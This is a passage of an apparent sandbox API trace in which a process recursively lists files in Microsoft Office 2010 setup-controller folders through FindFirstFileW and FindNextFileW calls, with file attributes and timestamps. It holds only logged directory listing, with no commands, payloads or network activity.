hFindFile=0x5932a0) returned 1 [0049.808] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.808] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0049.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.809] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.809] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0049.809] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.809] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.809] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0049.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.810] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.810] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0049.811] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.811] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.811] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0049.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.813] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.813] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0049.813] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.813] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.813] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0049.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.814] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.814] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0049.814] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.814] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.814] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0049.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.815] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.815] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0049.815] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.815] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.815] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0049.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.816] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.816] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0049.816] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.816] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.816] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0049.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.817] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.817] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0049.817] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.817] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.817] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0049.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.818] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.818] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0049.818] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.818] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.818] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0049.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.819] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.819] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0049.819] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.819] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.819] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0049.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.820] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.820] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0049.820] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.820] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.820] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0049.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, 